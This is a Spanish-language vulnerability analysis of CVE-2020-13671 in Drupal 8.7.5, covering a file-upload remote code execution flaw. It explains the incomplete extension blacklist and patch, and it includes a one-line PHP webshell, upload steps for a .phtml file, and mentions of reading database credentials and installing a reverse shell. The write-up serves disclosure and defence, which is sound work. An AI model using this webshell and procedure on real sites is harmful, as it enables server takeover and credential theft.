
CVE-2020-13671 - Análisis de vulnerabilidad de RCE en Drupal mediante carga de archivos y PoC
Software: Drupal Core 8.7.5 (Afectadas: 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS: 8.8 (Alta)
CWE: CWE-434 — Subida sin restricciones de archivos con tipo peligroso
CISA KEV: Sí — Vulnerabilidad explotada conocida
Aviso: SA-CORE-2020-012
Drupal es un sistema de gestión de contenidos (CMS) de código abierto escrito en PHP, similar a WordPress o Joomla, pero orientado a la construcción de sistemas más complejos: sitios web empresariales, plataformas multilingües. Drupal utiliza una arquitectura modular, que permite ampliar la funcionalidad habilitando/deshabilitando los módulos disponibles o instalando otros adicionales de la comunidad.
Una de las funciones básicas de cualquier CMS es permitir a los usuarios subir archivos: avatares de perfil, documentos adjuntos, archivos adjuntos en artículos. Drupal guarda estos archivos en el directorio sites/default/files/ y los sirve directamente a través del servidor web (Apache o Nginx).
⇒ Esto crea una superficie de ataque clara: si un atacante consigue subir un archivo PHP a ese directorio, el servidor web lo ejecutará cuando se acceda a él mediante una solicitud entrante.
Para evitarlo, Drupal construye múltiples capas de defensa: validar las extensiones de archivo, renombrar los archivos peligrosos y colocar un .htaccess para bloquear la ejecución de scripts en el directorio de subida. Pero en la versión 8.7.5, los atacantes explotan exactamente el punto ciego de estas capas.
Esta vulnerabilidad requiere una cuenta con permisos de subida de archivos. Por defecto en Drupal 8.7.5, los usuarios normales (Authenticated) solo tienen permisos para ver contenido y publicar comentarios: no tienen permiso para crear artículos ni subir archivos.
| Cuenta | ¿Explotable? | Explicación |
|---|---|---|
| Admin | Sí | Permisos completos de subida |
| Editor / Creador de contenido | Sí | Si se le concede el permiso "Crear contenido" con subida habilitada por el administrador |
| Usuario autenticado (por defecto) | No | Por defecto no tiene permiso para crear contenido ni subir archivos |
| Anónimo (sin sesión iniciada) | No | Sin permiso de subida |
Sin embargo, en la práctica, muchos sitios Drupal conceden permisos de creación de contenido a usuarios normales (foros, blogs comunitarios, sitios de noticias que permiten el envío de artículos). En esos casos, un atacante solo necesita registrarse para explotarla.
Flujo de ataque:
Atacante con cuenta con privilegios de subida → Crear artículo (Article)
→ Subir webshell.phtml mediante el campo de adjunto Imagen/Archivo
→ Drupal guarda el archivo con su nombre original en sites/default/files/
→ El atacante accede a la URL del archivo → Apache ejecuta PHP → RCE
En el archivo core/modules/file/file.module, hay una única expresión regular que determina qué archivos se consideran ejecutables:
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

Esta expresión regular enumera 7 extensiones: phar, php, pl, py, cgi, asp, js. A cualquier archivo con una extensión que coincida con esta lista, Drupal le añadirá automáticamente .txt, neutralizando la capacidad de ejecución.
Sin embargo, el motor PHP no solo procesa archivos .php. Según la configuración del servidor web, también reconoce y ejecuta otras extensiones:
| Extensión | Significado | ¿Incluida en la expresión regular? |
|---|---|---|
.php | PHP estándar | Sí |
.phtml | Plantilla alternativa de PHP | No |
.php5 | Manejador de PHP 5 | No |
.pht | Plantilla PHP | No |
.phps | Código fuente PHP | No |
.shtml | Inclusiones del lado del servidor | No |
Hay 5 variantes de extensiones PHP que están completamente ausentes de la expresión regular. Esto significa que un archivo llamado shell.phtml enviado a Drupal → la expresión regular no coincide → no se renombra → se guarda con su nombre original en el directorio de subida → el servidor web ve .phtml → lo ejecuta como PHP → el atacante consigue RCE. Esta es la causa raíz: Drupal usaba una lista negra para bloquear extensiones peligrosas, pero esa lista estaba incompleta.
Cuando un usuario sube un archivo, Drupal lo pasa por 3 funciones de validación antes de guardarlo. A continuación se analiza por qué las 3 fallan con .phtml.
file_munge_filename() (core/includes/file.inc)Propósito: detectar extensiones peligrosas ubicadas en el medio del nombre de archivo y añadir _ para neutralizarlas. Así funciona la función:

$filename_parts = explode('.', $filename); // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension
foreach ($filename_parts as $filename_part) {
// iterate over the MIDDLE parts
// if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;
Por ejemplo, con shell.phtml:
explode divide en ["shell", "phtml"]shift toma "shell", dejando ["phtml"]pop toma "phtml", dejando []foreach no se ejecuta"shell.phtml" intactoSin embargo, si el archivo solo tiene una extensión, no interviene. Por lo tanto, esta función solo está diseñada para manejar archivos con varias extensiones.
FILE_INSECURE_EXTENSION_REGEX (file.module:1015)Esta es la capa de defensa principal. Código en la línea 1015:

if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
&& preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
&& (substr($file->getFilename(), -4) != '.txt')) {
$file->setMimeType('text/plain');
$file->setFilename($file->getFilename() . '.txt');
}
Si el nombre de archivo coincide con la expresión regular → cambia el tipo MIME a text/plain y añade .txt al final.
Con shell.phtml:
preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') devuelve 0Por lo tanto, esta sección debería haber bloqueado los archivos peligrosos, pero como la expresión regular no sabe que .phtml es peligroso, pasa directamente.
.htaccess en el directorio de subidaDrupal coloca un archivo .htaccess en sites/default/files/:
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>
<IfModule mod_php5.c>
php_flag engine off
</IfModule>
La directiva php_flag engine off desactiva el motor PHP para todo el directorio, pero solo se aplica a mod_php5. Drupal 8.7.5 se ejecuta en PHP 7, lo que significa que mod_php7 está activo y no deshabilitado.
Además, .htaccess tiene otras 3 debilidades:
.htaccess — este archivo es completamente ineficaz en NginxAllowOverride None → .htaccess se ignoramod_php → la directiva php_flag no tiene efectoecho '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml
Inicia sesión en Drupal con una cuenta que tenga permisos de subida → Contenido → Añadir contenido → Artículo → en el campo Imagen, selecciona el archivo webshell.phtml → Subir.
Drupal acepta el archivo, no lo renombra y lo guarda con su nombre original en sites/default/files/.

Después, ejecuta la llamada de shell con whoami:

Así, hemos conseguido RCE como www-data.
Probando más a fondo para ver las credenciales:

El atacante puede leer settings.php, que contiene las credenciales de la base de datos, volcar toda la base de datos, instalar una reverse shell o escalar privilegios hasta root.
Actualizar la expresión regular — añade las 5 extensiones que faltan:
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'
// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'
Actualizar .htaccess — añade la desactivación para mod_php7:
<IfModule mod_php7.c>
php_flag engine off
</IfModule>
El parche funciona, pero sigue dependiendo de una lista negra. Si en el futuro aparecen nuevas extensiones (.php8, .phpt), la expresión regular deberá actualizarse de nuevo. La lista blanca — permitir solo extensiones conocidas y seguras — sería un enfoque más exhaustivo.
| Archivo vulnerable | core/modules/file/file.module línea 28 |
|---|---|
| Causa raíz | A la lista negra de la expresión regular le faltan .phtml, .php5, .pht, .phps, .shtml |
| Impacto | Subir .phtml → el servidor ejecuta → RCE |
| 3 capas de defensa eludidas | file_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess |
| Parche | Añadir 5 extensiones a la expresión regular + desactivar mod_php7 en .htaccess |